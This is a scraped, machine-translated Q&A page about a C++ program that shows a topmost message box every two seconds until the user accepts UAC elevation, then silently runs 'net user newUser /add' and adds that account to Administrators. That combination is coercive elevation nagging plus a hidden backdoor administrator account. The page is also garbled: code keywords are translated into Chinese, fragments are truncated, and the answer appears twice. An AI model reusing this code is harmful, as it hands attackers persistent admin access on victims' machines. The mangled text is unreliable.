C++ 具有管理员权限的shellexecute不';t端

C++ 具有管理员权限的shellexecute不';t端,c++,winapi,visual-c++,C++,Winapi,Visual C++,我试图每2秒请求一次管理员权限,但我在同步这两个进程时遇到问题。除非手动终止ShellExecuteExA创建的进程,否则该进程不会结束。主进程(main函数)以ExitProcess结束,现在正在运行的是shellexecute进程,它返回到main并卡在ask函数中,在不应进入此函数时再次请求提升权限。我正在使用vs2019 #include <iostream> #include <Windows.h> #include <WinUser.h> #inc

我试图每2秒请求一次管理员权限,但我在同步这两个进程时遇到问题。除非手动终止ShellExecuteExA创建的进程,否则该进程不会结束。主进程(main函数)以ExitProcess结束,现在正在运行的是shellexecute进程,它返回到main并卡在ask函数中,在不应进入此函数时再次请求提升权限。我正在使用vs2019

#include <iostream>
#include <Windows.h>
#include <WinUser.h>
#include <string>
#include <sstream>

using namespace std;

#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Shell32.lib")
#pragma comment(lib, "Advapi32.lib")

bool CheckIfAdmin()
{
    BOOL RunAdmin = FALSE;
    HANDLE hToken = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
    {
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);
        if (GetTokenInformation(hToken, TokenElevation,
                                &Elevation, sizeof(Elevation), &cbSize))
        {
            RunAdmin = Elevation.TokenIsElevated;
        }
    }
    // Cleanup
    if (hToken)
    {
        CloseHandle(hToken);
    }
    return RunAdmin;
}

bool Elevate()
{
    char PathProg[MAX_PATH];
    if (GetModuleFileNameA(NULL, PathProg, MAX_PATH))
    {
        SHELLEXECUTEINFOA SEIA = {sizeof(SEIA)};
        SEIA.lpVerb = "runas";
        SEIA.lpFile = PathProg;
        SEIA.hwnd = NULL;
        SEIA.nShow = SW_NORMAL;

        if (!ShellExecuteExA(&SEIA))
        {
            DWORD dwErr = GetLastError();
            if (dwErr == ERROR_CANCELLED)
            {
                // reject UAC
                return false;
            }
            return false;
        }
        // accept UAC
        return true;
    }
    return false;
}
void execute_cmd(const char *m, INT opt)
{
    std::ostringstream os;
    os << "/c " << m;
    ShellExecuteA(NULL, "open", "cmd", os.str().c_str(), NULL, opt);
}

bool run_uac()
{
    if (!CheckIfAdmin())
    {
        if (Elevate())
        {
            return true;
        }
    }
    return false;
}

void ask()
{
    while (true)
    {
        switch (MessageBox(0, L"Elevated privileges?", L"", MB_OKCANCEL | MB_ICONERROR | MB_TOPMOST))
        {
        case IDOK:
            if (run_uac())
            {
                // Now there are two processes running
                ExitProcess(0); // exit from primary process
            }
        }
        Sleep(2000);
    }
}

int main()
{

    MessageBoxA(NULL, " main()", "!", MB_OK | MB_ICONWARNING);
    ask();

    // execute any action with privileges
    execute_cmd("net user newUser /add", SW_HIDE);
    execute_cmd("net localgroup Administrators newUser /add", SW_HIDE);


    return 0;
}
#包括
#包括
#包括
#包括
#包括
使用名称空间std;
#pragma注释(lib,“User32.lib”)
#pragma注释(lib,“Shell32.lib”)
#pragma注释(lib,“Advapi32.lib”)
bool CheckIfAdmin()
{
BOOL RunAdmin=FALSE;
句柄hToken=NULL;
if(OpenProcessToken(GetCurrentProcess(),TOKEN\u QUERY,&hToken))
{
地形图高程;
DWORD cbSize=sizeof(标记高程);
如果(GetToken)信息(hToken,TokenElevation,
&标高、尺寸(标高和cbSize))
{
RunAdmin=Elevation.TokenIsElevated;
}
}
//清理
如果(hToken)
{
闭合手柄(hToken);
}
返回RunAdmin;
}
布尔
{
char PathProg[MAX_PATH];
if(GetModuleFileNameA(NULL,PathProg,MAX_PATH))
{
ShellExecuteInfo SEIA={sizeof(SEIA)};
SEIA.lpVerb=“runas”;
SEIA.lpFile=PathProg;
SEIA.hwnd=NULL;
SEIA.nShow=SW_正常;
如果(!ShellExecuteExA(&SEIA))
{
DWORD dwErr=GetLastError();
如果(dwErr==错误\u已取消)
{
//拒绝UAC
返回false;
}
返回false;
}
//接受UAC
返回true;
}
返回false;
}
void execute_cmd(const char*m,INT opt)
{
std::ostringstream os;
操作系统如果运行提升,调用
ask()
会让你陷入无尽的
MessageBox+Sleep
循环,因为
run\u uac()
CheckIfAdmin()
返回true时返回false。因此,将提升检查移动到
main()
本身,如果已经运行提升,则跳过提升提示

#包括
#包括
#包括
#包括
使用名称空间std;
#pragma注释(lib,“User32.lib”)
#pragma注释(lib,“Shell32.lib”)
#pragma注释(lib,“Advapi32.lib”)
bool IsElevated()
{
bool bElevated=错误;
句柄hToken=NULL;
if(OpenProcessToken(GetCurrentProcess(),TOKEN\u QUERY,&hToken))
{
地形图高程;
DWORD cbSize=sizeof(标记高程);
if(GetTokenInformation(hToken、TokenElevation和Elevation、sizeof(Elevation)和cbSize))
{
bElevated=高程。标记为高程;
}
//清理
闭合手柄(hToken);
}
回程回程;
}
布尔
{
char PathProg[MAX_PATH];
if(GetModuleFileNameA(NULL,PathProg,MAX_PATH))
{
ShellExecuteInfo SEIA={sizeof(SEIA)};
SEIA.lpVerb=“runas”;
SEIA.lpFile=PathProg;
SEIA.hwnd=NULL;
SEIA.nShow=SW_正常;
返回ShellExecuteExA(&SEIA);
}
返回false;
}
void execute_cmd(const char*m,int opt)
{
std::ostringstream os;
操作系统如果运行提升,调用
ask()
会让你陷入无尽的
MessageBox+Sleep
循环,因为
run\u uac()
CheckIfAdmin()
返回true时返回false。因此,将提升检查移动到
main()
本身,如果已经运行提升,则跳过提升提示

#包括
#包括
#包括
#包括
使用名称空间std;
#pragma注释(lib,“User32.lib”)
#pragma注释(lib,“Shell32.lib”)
#pragma注释(lib,“Advapi32.lib”)
bool IsElevated()
{
bool bElevated=错误;
句柄hToken=NULL;
if(OpenProcessToken(GetCurrentProcess(),TOKEN\u QUERY,&hToken))
{
地形图高程;
DWORD cbSize=sizeof(标记高程);
if(GetTokenInformation(hToken、TokenElevation和Elevation、sizeof(Elevation)和cbSize))
{
bElevated=高程。标记为高程;
}
//清理
闭合手柄(hToken);
}
回程回程;
}
布尔
{
char PathProg[MAX_PATH];
if(GetModuleFileNameA(NULL,PathProg,MAX_PATH))
{
ShellExecuteInfo SEIA={sizeof(SEIA)};
SEIA.lpVerb=“runas”;
SEIA.lpFile=PathProg;
SEIA.hwnd=NULL;
SEIA.nShow=SW_正常;
返回ShellExecuteExA(&SEIA);
}
返回false;
}
void execute_cmd(const char*m,int opt)
{
std::ostringstream os;
操作系统